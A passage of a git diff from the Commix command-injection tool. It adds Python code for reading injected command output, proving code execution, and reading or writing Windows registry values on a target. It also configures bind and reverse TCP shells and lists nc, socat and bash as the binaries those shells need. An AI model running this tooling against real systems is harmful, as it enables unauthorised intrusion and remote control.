> 1: + mid = (lo + hi) // 2 + if asks(mid): + lo = mid + else: + hi = mid + return lo + + top = max(char_pool) + lo = _halve(min(char_pool) - 1, top) + if lo == top - 1 and asks(top): + lo = top + if expands and asks(top + 1) and not asks(settings.HIGHEST_BYTE + 1): + lo = _halve(top, settings.HIGHEST_BYTE + 1) + return lo if lo >= min(char_pool) else None + +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + + if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + try: + import html + unescape = html.unescape + except ImportError: # Python 2 + unescape = _html_parser.HTMLParser().unescape + false_result = False + try: + # Grab execution results + html_data = checks.process_page_content(response, action="decode", guard=TAG) + """ + Every line break stood in for, rather than thrown away. + + The markers are looked for on a single line, so the breaks have to come out of the way first - + but a command's output is its own lines as much as its own characters, and replacing them with + spaces hands back a paragraph where the target answered a list. Marked here and put back once + what is between the markers has been taken, the way the evaluation sink below already does it. + """ + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + """ + Each kind of break by a mark of its own, the pair taken first. + + Marked as one thing and put back as a newline, a carriage return the command printed came + back as one: an output of 'a\rb' was answered with 'a\nb'. The three marks share a prefix, + so one of them is still as easy to find as the single mark was, and a Windows line break is + one mark rather than two - which is what keeps it a pair when it is put back. + """ + page_marks = ((settings.END_LINE.CRLF, new_line + "B"), (settings.END_LINE.CR, new_line + "R"), + (settings.END_LINE.LF, new_line + "N")) + for sequence, mark in page_marks: + html_data = html_data.replace(sequence, mark) + # cleanup string / unescape html to string + html_data = _urllib.parse.unquote(html_data) + html_data = unescape(html_data) + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) + if not shell: + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) + if not shell: + return shell + try: + # Clear junks + shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] + shell = [backslash.replace(r"\/","/") for backslash in shell] + # The output's own line breaks, back where they were and as what they were. + for sequence, mark in page_marks: + shell = [marked.replace(mark, sequence) for marked in shell] + # And the ones the target was asked to mark before it answered, which is how a break + # survives a sink that hands back a single line of what it ran. + shell = [marked.replace(settings.RESULTS_BASED_LF_MARKER, settings.END_LINE.LF) + for marked in shell] + shell = [marked.replace(settings.RESULTS_BASED_CR_MARKER, settings.END_LINE.CR) + for marked in shell] + # And the bytes the page's own encoding could not read, back as the bytes the target sent - + # written out at the point the page was read rather than thrown away, so they are still here. + shell = [checks.decoded_byte_output(checks.restored_unreadable_bytes(kept)) for kept in shell] + except UnicodeDecodeError: + pass + if settings.TARGET_OS == settings.OS.WINDOWS: + if menu.options.interpreter: + """ + The one space this payload's own 'write-host' puts either side of the output, and only + that - it is handed the markers and the command as separate arguments, and joins them + with a single space each. + + Stripped of whitespace instead, a command whose output was indented, or padded, or was + whitespace altogether came back without the part of it that said so: an output of a tab, + three spaces, 'X' and seven more tabs arrived as 'X', the same way the file-based + technique's own reading used to lose it. + """ + padding = settings.SINGLE_WHITESPACE + shell = [padded[1:-1] if padded[:1] == padding and padded[-1:] == padding else padded + for padded in shell] + if "<<<<" in shell[0]: + false_result = True + else: + if shell[0] == "%i" : + false_result = True + except (AttributeError, TypeError): + false_result = True + if false_result: + shell = "" + + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + """ + Every kind of line break stood in for, and each of them by a mark of its own. + + A carriage return the command printed is a byte of its output like any other, and marked as the + same thing a newline is marked as, it came back as a newline: an output of 'a\rb' was answered + with 'a\nb'. The three marks share a prefix, so one pattern still matches whichever of them the + break a marker brought with it turned into - and the pair is taken first, so a Windows line + break is one mark rather than two. + """ + marks = ((settings.END_LINE.CRLF, new_line + "B"), (settings.END_LINE.CR, new_line + "R"), + (settings.END_LINE.LF, new_line + "N")) + any_mark = new_line + "[BRN]" + # A break that ends a line, which is what the markers bring with them and what the output has + # dropped from its end everywhere else in this tool. A carriage return on its own ends nothing, + # so it stays: 'ab\r' is 'ab\r', the same way the techniques reading their answer off a + # substitution hand it back. + line_mark = new_line + "[BN]" + # Grab execution results + html_data = checks.process_page_content(response, action="decode", guard=TAG) + for sequence, mark in marks: + html_data = html_data.replace(sequence, mark) + """ + What the two pairs of markers enclose, and only that. + + The payload prints its markers with 'echo', which ends each of them with a line break, so what + sits between the pairs is one of those breaks followed by the command's own output. Read + instead as the text between two breaks, the output had to end with a break of its own for there + to be a second one to match: a command printing anything else - 'printf', 'echo -n', a program + that simply does not end on one - was answered with nothing at all, and reported as a command + that returned no output rather than as one whose output went unread. An output of several lines + that ended without a break lost its last line the same way. + + So the break the marker brought is taken off by itself, the ones the output ends with go the + way a substitution drops them, and every other one stays where the command put it. Nothing is + taken off the ends beyond that: trimmed there as well, a command whose output was indented, or + padded, or was whitespace altogether came back without the part of it that said so. + """ + shell = re.findall(r"" + TAG + any_mark + TAG + "(.*?)" + TAG + any_mark + TAG + "", html_data) + if not shell: + shell = "" + else: + found = re.sub("^(?:" + line_mark + ")", "", shell[0], count=1) + """ + The newlines an output ends with dropped, and only those. + + A Windows line break is marked as one mark rather than two, so a trailing one taken off whole + took its carriage return with it: an output of 'a\r\nb\r\n' came back as 'a\r\nb', where a + substitution would have dropped the newline alone and handed back 'a\r\nb\r'. Dropping stops + at the first byte that is not a newline, which is what the carriage return left behind is - + so the pair's own mark is rewritten as the one standing for that byte, and nothing after it + is taken off. + """ + found = re.sub("(?:" + new_line + "N)+$", "", found) + found = re.sub("(?:" + new_line + "B)$", new_line + "R", found) + for sequence, mark in marks: + found = found.replace(mark, sequence) + shell = found + + else: + #Find the directory. + shell = "" + validator = None + previous_content = settings.LAST_OUTPUT_FILE_CONTENT + previous_validator = settings.LAST_OUTPUT_FILE_VALIDATOR + for attempt in range(settings.MAX_OUTPUT_FILE_READS): + response = fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + if response is not None: + shell = output_file_content(response) + validator = output_file_validator(response) + # What the file held before this command is what it still holds if the write has not landed. + if shell and not output_file_is_stale(shell, validator, previous_content, previous_validator): + break + if attempt + 1 < settings.MAX_OUTPUT_FILE_READS: + time.sleep(settings.OUTPUT_FILE_READ_DELAY) + if shell and output_file_is_stale(shell, validator, previous_content, previous_validator): + shell = "" + else: + settings.LAST_OUTPUT_FILE_CONTENT = shell + settings.LAST_OUTPUT_FILE_VALIDATOR = validator + + return shell +# eof diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py new file mode 100644 index 0000000000..4f639057fb --- /dev/null +++ b/src/core/controller/proof.py @@ -0,0 +1,330 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import random +import string +import time + +from src.utils import settings +from src.core.parse import cmdline as menu + +""" +Evidence that the target really executed what was sent, rather than a restatement of what detection +already reported ('--proof'). + +Detection answers "does this parameter look injectable". A proof answers "run something only the +target could answer, and show the answer" - so each claim here is an experiment with a control and +a value drawn after the scan, which therefore cannot be sitting in a page, a cache or a reflection. +""" + +# One entry per technique that proved the point, with the executor that reaches it. +def register(technique, vuln_parameter, http_request_method, execute_cmd, boundary=None): + if not menu.options.proof: + return + for entry in settings.PROOF_EXECUTORS: + if entry[0] == technique and entry[1] == vuln_parameter: + return + # The executor reads settings.TIME_RELATED_ATTACK when it runs, and a technique found later + # changes it - so the value in force here is carried with it, as deferred actions do. + time_related = settings.TIME_RELATED_ATTACK + def run(cmd): + settings.TIME_RELATED_ATTACK = time_related + return execute_cmd(cmd) + settings.PROOF_EXECUTORS.append((technique, vuln_parameter, http_request_method, run, boundary)) + +""" +A label for a technique, said the way the rest of the run says it. +""" +def _name(technique): + from src.core.controller import checks + try: + name = checks.short_technique_label(technique).strip() + name = name[:-len(" technique")] if name.endswith(" technique") else name + except Exception: + name = str(technique) + return name[:1].upper() + name[1:] + +""" +A field, bulleted the same way the injection-point summary bullets one (' * Technique: ...') - +except the ones the run itself is described by, which sit above any parameter and bullet nothing. +""" +def _field(label, value, bullet=True): + prefix = (settings.SUB_CONTENT_SIGN_TYPE if bullet else "") + label + ": " + indent = " " * (len(label) + (6 if bullet else 2)) + if isinstance(value, list): + if not value: + return "" + return "\n".join([prefix + value[0]] + [indent + _ for _ in value[1:]]) + return prefix + str(value) + +""" +What the proof had to get through. On a filtered target this is the part that matters: the evidence +is worth more where the report also states that something was in the way and what carried data past it. +""" +def _evasion(): + lines = [] + if settings.WAF_ENABLED: + lines.append("protection detected in front of the application") + if settings.WAF_EVASION_APPLIED: + lines.append("evasion applied automatically for the identified target") + if menu.options.tamper: + lines.append("tamper scripts in effect: " + str(menu.options.tamper)) + blocked = sorted(code for code in settings.WARNED_HTTP_ERROR_CODES + if str(code) in settings.WAF_BLOCK_HTTP_CODES) + if blocked: + lines.append("statuses a protection returns, seen during the run: " + + ", ".join(str(_) for _ in blocked)) + if settings.ADAPTIVE_DELAY: + lines.append("requests were spaced out by " + str(round(settings.ADAPTIVE_DELAY, 1)) + "s after the target asked for it") + elif menu.options.delay: + lines.append("requests were delayed by " + str(round(float(menu.options.delay), 2)) + "s each") + return lines + +""" +What the challenge cost, said only where it can be counted - not every technique sends through a +path the counter sees, and a confident "0 requests" would be worse than saying nothing. +""" +def _cost(started, elapsed): + sent = settings.TOTAL_OF_REQUESTS - started + if sent > 0: + return "spent: " + str(sent) + " request" + "s"[sent == 1:] + ", " + str(round(elapsed, 2)) + "s" + return "spent: " + str(round(elapsed, 2)) + "s" + +""" +Ask the target to work out something nobody could have written down in advance, and show what came +back. The operands are drawn here, after the scan, so the answer exists nowhere until it is computed. +""" +def _challenge(execute_cmd, technique): + first = random.randint(1000000, 9999999) + second = random.randint(1000000, 9999999) + expected = str(first + second) + marker = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + # Bracketed by a marker, so the answer cannot be mistaken for a number occurring anywhere else. + cmd = "echo " + marker + "$((" + str(first) + "+" + str(second) + "))" + marker + needle = marker + expected + marker + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.PS_ENABLED: + cmd = "powershell.exe -InputFormat none write ('" + marker + "'+(" + str(first) + "+" + str(second) + ")+'" + marker + "')" + else: + # 'set /a' writes the sum on its own, so there is nothing here to bracket it with. + cmd = "set /a " + str(first) + "+" + str(second) + needle = expected + + started = settings.TOTAL_OF_REQUESTS + elapsed = time.time() + try: + answer = execute_cmd(cmd) + except Exception: + answer = "" + elapsed = time.time() - elapsed + answer = "".join(str(_) for _ in answer) if answer else "" + + carried = needle in answer + lines = ["The target must work out " + str(first) + " + " + str(second) + " = " + expected + ", drawn at random after the scan started.", + "(the product is in no page, cache or reflection - only something that executes could return it.)", + "sent: " + cmd, + "answered: " + (answer.strip()[:120] if answer.strip() else "(nothing came back)"), + _cost(started, elapsed)] + return carried, expected, lines + +""" +A technique that answers in time cannot hand the product back without spelling it out a character at +a time, which costs a request per character. Asked as a question instead, it costs two: hold the +response back if a*b is the product, and do not if a*b is the product plus one. Answering both ways +round proves the target worked the arithmetic out - not merely that it can be made to wait. +""" +def _inferential_challenge(boundary, vuln_parameter, http_request_method, technique): + if not boundary: + return False, ["No boundary was kept for this point, so nothing could be asked of the target."] + separator, prefix, suffix, whitespace, url, timesec = boundary + from src.core.controller import execution + from src.core.requests import requests as _requests + from src.core.controller import checks + + base = int(timesec or menu.options.timesec or settings.TIMESEC) or 3 + payloads = execution.select_payloads_module(technique) + first = random.randint(1000000, 9999999) + second = random.randint(1000000, 9999999) + expected = first + second + + def _ask(target_value): + # The technique's own conditional-delay payload, sent as one request and timed by the same code + # that times every other one - not the extraction wrapper built on top of it. + if settings.TARGET_OS == settings.OS.WINDOWS: + payload = payloads.windows_condition_check(separator, str(first) + "+" + str(second), + target_value, base) + else: + sum_expr = str(first) + "+" + str(second) + # Shell arithmetic expansion, the way every other shell condition in the run states its own - + # but an evaluated language does its addition bare, and '$((...))' is not its syntax at all. + if not menu.options.eval_sink: + sum_expr = "$((" + sum_expr + "))" + condition = sum_expr + " -eq " + str(target_value) + payload = payloads.condition_check(separator, condition, base, http_request_method) + if payload is None: + return None, None + # The executor hands back elapsed time only while this flag is set - detection may have since + # cleared it, and unset it hands back the raw response instead. + previous = settings.TIME_RELATED_ATTACK + settings.TIME_RELATED_ATTACK = True + try: + exec_time = _requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, + http_request_method, url)[0] + finally: + settings.TIME_RELATED_ATTACK = previous + return payload, exec_time + + started = settings.TOTAL_OF_REQUESTS + began = time.time() + true_payload, true_took = _ask(expected) + false_payload, false_took = _ask(expected + 1) + elapsed = time.time() - began + + if true_payload is None or false_payload is None: + return False, ["This technique has no conditional-delay payload for the identified target."] + + # The product must be the one that delays, and the product plus one must not - the pair is what + # rules out a target that is simply slow. + carried = checks.time_related_shell(true_took, base) and not checks.time_related_shell(false_took, base) + lines = ["The target must work out " + str(first) + " + " + str(second) + " and answer whether it is " + + str(expected) + ", drawn at random after the scan started.", + "(the delay is the answer: held back where the product matches, returned at once where it does not.)", + "matches: " + str(round(true_took, 2)) + "s", + "does not: " + str(round(false_took, 2)) + "s", + "(one request each, timed the way every other request in the run is.)", + _cost(started, elapsed)] + return carried, lines + +""" +What an unmodified request costs, so the delays above are read against something. +""" +def _control_timing(): + if not settings.RESPONSE_TIMES: + return [] + average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) + return ["Unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples."] + +""" +The control that rules out coincidence: the answer must not already be somewhere the run could have +read it without the target computing anything. +""" +def _control(expected): + lines = [] + page = settings.ORIGINAL_PAGE or "" + if page: + lines.append("The unmodified page does not contain the answer. (CONFIRMED)" if expected not in page + else "The answer is already there, in the unmodified page. (NOT CONFIRMED)") + if settings.RESPONSE_TIMES: + average = sum(settings.RESPONSE_TIMES) / float(len(settings.RESPONSE_TIMES)) + lines.append("Unmodified request: " + str(round(average, 3)) + "s on average over " + str(len(settings.RESPONSE_TIMES)) + " samples.") + return lines + +""" +Render the proof for every point that was confirmed, then write it beside the run's other output. +""" +def prove(filename, url): + if not menu.options.proof or settings.PROOF_DONE or not settings.PROOF_EXECUTORS: + return + settings.PROOF_DONE = True + + info_msg = "Proving exploitation of the injection point(s) found." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + # The URL reached at quit() carries the injection marker and whatever the WAF probe appended, so + # the target reported is the one that was asked for. + target = menu.options.url or url or "" + fields = [_field("Target", target, bullet=False)] + if settings.USER_DEFINED_POST_DATA: + fields.append(_field("Data", settings.USER_DEFINED_POST_DATA, bullet=False)) + if settings.TARGET_OS: + platform = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" + if settings.TARGET_ARCH: + platform += " (" + settings.TARGET_ARCH + ")" + fields.append(_field("Back-end", platform, bullet=False)) + # Stated above the findings, where what the run itself is described by belongs: every point below + # was reached under these conditions, so repeating them per parameter would say the same thing as + # many times as there are parameters. Left out where there was nothing in the way, rather than + # written as an empty field. + conditions = _evasion() + if conditions: + fields.append(_field("Conditions", conditions, bullet=False)) + fields.append(_field("Verified", time.strftime("%Y-%m-%d %H:%M:%S"), bullet=False)) + + proven = 0 + prev_parameter = None + first_group = True + for technique, vuln_parameter, http_request_method, execute_cmd, boundary in settings.PROOF_EXECUTORS: + # A technique that answers in time is proved on the clock; one that carries output is proved by + # what came back. + if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + carried, challenge = _inferential_challenge(boundary, vuln_parameter, http_request_method, technique) + expected = None + else: + carried, expected, challenge = _challenge(execute_cmd, technique) + proven += int(carried) + # One header per parameter, the same way the injection-point summary groups its own findings - + # a technique proved right after another on the same parameter does not restate it. + if not first_group: + fields.append("") + first_group = False + current_parameter = (vuln_parameter, http_request_method) + if current_parameter != prev_parameter: + from src.core.controller import checks + fields.append(checks.finding_parameter_line(str(vuln_parameter), str(http_request_method))) + prev_parameter = current_parameter + fields.append(_field("Technique", _name(technique))) + fields.append(_field("Challenge", challenge)) + control = _control(expected) if expected else _control_timing() + if control: + fields.append(_field("Control", control)) + if carried: + through = " through the protection in front of the application" if settings.WAF_ENABLED else "" + if expected: + verdict = ["The target executed what was sent and returned the result" + through + ". (PROVEN)"] + else: + verdict = ["The target worked out the value and answered it through the delay" + through + ". (PROVEN)"] + else: + verdict = ["The answer did not come back through this technique. (NOT PROVEN)"] + if settings.WAF_ENABLED: + verdict.append("A protection is interfering, so the point may be real with its output channel blocked.") + verdict.append("=> re-test with '--tamper', then prove again") + else: + verdict.append("=> treat it as unconfirmed unless a side effect proves otherwise (e.g. '--os-shell')") + fields.append(_field("Verdict", verdict)) + + total = len(settings.PROOF_EXECUTORS) + if proven == total: + header = "Proved exploitation of the following injection point(s)" + elif proven: + header = "Proved exploitation of " + str(proven) + " of " + str(total) + " reported injection point(s)" + else: + header = "Could NOT prove exploitation of the reported injection point(s)" + + data = settings.END_LINE.LF.join(fields) + settings.print_data_to_stdout(header + ":" + + settings.END_LINE.LF + data) + try: + path = os.path.join(os.path.dirname(filename) or ".", "proof.txt") + with open(path, "w", encoding=settings.DEFAULT_CODEC) as proof_file: + proof_file.write(settings.strip_ansi_codes(header + ":" + settings.END_LINE.LF + + data + settings.END_LINE.LF)) + info_msg = "Proof of exploitation written to '" + path + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except OSError as err_msg: + from src.utils import logs + logs.write_failure(path, err_msg) + +# eof diff --git a/src/core/controller/registry_access.py b/src/core/controller/registry_access.py new file mode 100644 index 0000000000..5c23ead831 --- /dev/null +++ b/src/core/controller/registry_access.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.parse import cmdline as menu +from src.utils import settings +from src.core.controller import checks +from src.core.controller import execution + +""" +Read a Windows registry key value. +""" +def registry_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, key, value = checks.registry_read_cmd() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + shell, fresh = execute_cmd(cmd) + checks.registry_read_status(shell, key, value, filename, settings.TIME_RELATED_ATTACK and fresh) + +""" +Write a Windows registry key value. +""" +def registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, key, value = checks.registry_write_cmd() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + shell, fresh = execute_cmd(cmd) + written = checks.registry_write_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh) + # Done right away, not deferred to quit() - see the matching note in file_access.py's file_write(). + if written and menu.options.cleanup: + checks.cleanup_registry_value(lambda c: execute_cmd(c)[0], key, value) + +""" +Delete a Windows registry key, or a single value of it. +""" +def registry_delete(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + injector = execution.select_injector(technique) + cmd, key, value = checks.registry_delete_cmd() + execute_cmd = execution.make_execute_cmd(injector, separator, maxlen, TAG, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique, OUTPUT_TEXTFILE, catch_time_error=True) + shell, fresh = execute_cmd(cmd) + checks.registry_delete_status(shell, key, value, settings.TIME_RELATED_ATTACK and fresh) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + if settings.TARGET_OS != settings.OS.WINDOWS: + warn_msg = "The registry access options only apply to a Windows target, so they are skipped here." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.REGISTRY_ACCESS_DONE = True + return + + if menu.options.reg_add: + registry_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.REGISTRY_ACCESS_DONE = True + + if menu.options.reg_read: + registry_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.REGISTRY_ACCESS_DONE = True + + if menu.options.reg_del: + registry_delete(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + settings.REGISTRY_ACCESS_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): + # Target-wide - run once, on the first successful technique. + if not settings.REGISTRY_ACCESS_DONE and menu.registry_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + +# eof diff --git a/src/core/controller/shell_options.py b/src/core/controller/shell_options.py new file mode 100755 index 0000000000..012db428b7 --- /dev/null +++ b/src/core/controller/shell_options.py @@ -0,0 +1,356 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import socket +import time +import threading +from src.utils import common +from src.utils import settings +from src.core.shells import bind_tcp +from src.core.shells import modes +from src.core.shells import reverse_tcp +from src.core.shells import session_relay +from src.core.controller import checks + +""" +Prompts [(b)ack/(q)uit], double-Ctrl-C-safe - shared by a launch/accept interrupt and the relay session's own. +""" +def back_or_quit_prompt(msg, filename, url): + choice = "b" + try: + while True: + choice = (common.read_input(msg, default="b", check_batch=False) or "b").strip().lower() + if choice in ("b", "q"): + break + common.invalid_option(choice) + except KeyboardInterrupt: + # Erase it, or the next message overwrites the prompt and leaves its tail behind. + settings.clear_current_line() + choice = "q" + if choice == "q": + # Full teardown (logs notification, cleanups), not a bare SystemExit. + checks.quit(filename, url, hard_exit=True) + return None + +""" +Runs execute_cmd(cmd) for a shell "run", offering (b)ack/(q)uit on Ctrl-C or a request timeout instead of crashing. +""" +def _execute_shell_launch(execute_cmd, cmd, filename, url): + try: + return execute_cmd(cmd) + except (KeyboardInterrupt, SystemExit) as exc: + settings.clear_current_line() + if isinstance(exc, KeyboardInterrupt): + msg = "Shell launch interrupted. [(b)ack/(q)uit] " + else: + msg = "Timed out - likely means the shell connected and is still open. [(b)ack/(q)uit] " + return back_or_quit_prompt(msg, filename, url) + +""" +Reports why a backgrounded payload send failed - its own output is suppressed, so this is the only place it surfaces. +""" +def _report_send_failure(send_result): + if send_result.get("error"): + err_msg = "Sending the payload failed: " + str(send_result["error"]) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + elif send_result.get("shell"): + info_msg = "The target returned output for the payload (usually the interpreter's own error):" + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.command_execution_output(send_result["shell"]) + +""" +Reports a bind shell that never came up, plus whatever the backgrounded send has to say about it. +""" +def _report_bind_failure(send_result): + err_msg = "Could not connect to " + settings.RHOST + ":" + settings.LPORT + " - the shell likely " + err_msg += "did not start (missing binary/interpreter on the target, or the port is firewalled/unreachable)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + _report_send_failure(send_result) + +""" +Tries to connect to a just-launched bind shell, the only reliable way to know whether it came up. +Pass keep_open=True to get the connected socket back instead of a bool (for the built-in handler). +""" +def _probe_bind_connection(rhost, lport, retries=3, delay=1.5, timeout=3, keep_open=False): + for attempt in range(retries): + if attempt > 0: + time.sleep(delay) + try: + sock = socket.create_connection((rhost, int(lport)), timeout=timeout) + if keep_open: + sock.settimeout(None) + return sock + sock.close() + return True + except Exception: + continue + return None if keep_open else False + +""" +Checks whether something is already listening on LHOST:LPORT here - only a successful bind() means "no listener". +Pass keep_listening=True to get the bound+listening socket back instead of a bool (for the built-in handler). +""" +def _local_listener_active(lhost, lport, keep_listening=False): + probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + probe.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 if keep_listening else 0) + bind_host = lhost if lhost not in ("", "0.0.0.0") else "0.0.0.0" + try: + probe.bind((bind_host, int(lport))) + if keep_listening: + probe.listen(1) + return probe + probe.close() + return False + except Exception: + probe.close() + return None if keep_listening else True + +# Shell name -> the binary its payload needs on the target ("python" resolves its own interpreter). +_REQUIRED_BINARY = { + "netcat/traditional": "nc.traditional", + "netcat/busybox": "busybox", + "netcat/openbsd": "nc", + "php": "php", + "perl": "perl", + "ruby": "ruby", + "socat": "socat", + "ncat": "ncat", + "bash": "bash", +} + +""" +Checks the binary a payload needs is on the target - command substitution swallows "not found", so it would +otherwise fail silently. Returns False when the user would rather not send a payload that cannot work. +""" +def _binary_available(execute_cmd): + binary = _REQUIRED_BINARY.get(settings.LAST_SELECTED_MODULE) + if not binary: + return True + try: + found = execute_cmd("command -v " + binary) + except (Exception, SystemExit): + return True + if found and binary in str(found): + return True + err_msg = "Unable to find '" + binary + "' on the target." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + msg = "Do you want to send the payload anyway? [y/N] " + return common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES + +""" +If HANDLER isn't already on (and the module even supports it), offers to turn it on for this run. +""" +def _maybe_prompt_for_handler(): + if settings.HANDLER or settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")): + return + msg = "Do you want to use the built-in handler to catch this shell (instead of an external listener)? [y/N] " + if common.read_input(msg, default="N", check_batch=True) in settings.CHOICE_YES: + settings.HANDLER = True + +""" +The shared loop behind both TCP modes: run the mode's prompt, then hand its payload to the +mode's own launch step until the mode is left. +""" +def _tcp_config_generic(mode_name, mode_options, launch, other_config, execute_cmd, cmd, go_back, go_back_again, filename, url, separator): + flag, other_mode = modes.MODE_FLAGS[mode_name] + setattr(settings, flag, True) + + while True: + try: + cmd = mode_options(separator, filename, url) + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + result = checks.check_tcp_mode_result(cmd, other_mode) + if result != None: + if result == 0: + go_back_again = False + elif result == 1 or result == 2: + go_back_again = True + setattr(settings, flag, False) + elif result == 3: + setattr(settings, flag, False) + other_config(execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + return go_back, go_back_again + + if not _binary_available(execute_cmd): + continue + _maybe_prompt_for_handler() + launch(cmd) + + info_msg = "Returning to the mode: '" + mode_name + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Configure the bind TCP shell, dispatching command execution through the given executor callback. +""" +def bind_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + # Send the payload and hand the connection over to the relay. + def launch(cmd): + send_result = {} + threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start() + + if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith("meterpreter/"): + info_msg = "Started bind TCP handler against " + settings.RHOST + ":" + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + conn = _probe_bind_connection(settings.RHOST, settings.LPORT, keep_open=True) + if conn: + info_msg = "Session opened (" + settings.RHOST + ":" + settings.LPORT + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + session_relay.interactive_relay(conn, filename, url) + else: + _report_bind_failure(send_result) + else: + info_msg = "Verifying the connection to " + settings.RHOST + ":" + settings.LPORT + "..." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if _probe_bind_connection(settings.RHOST, settings.LPORT): + info_msg = "Connected. Use 'nc " + settings.RHOST + " " + settings.LPORT + "' to interact with the shell." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + _report_bind_failure(send_result) + + return _tcp_config_generic("bind_tcp", bind_tcp.bind_tcp_options, launch, reverse_tcp_config_generic, + execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + +""" +Configure the reverse TCP shell, dispatching command execution through the given executor callback. +""" +def reverse_tcp_config_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + # Hand the connection to Metasploit, or to the built-in relay where it is not in use. + def 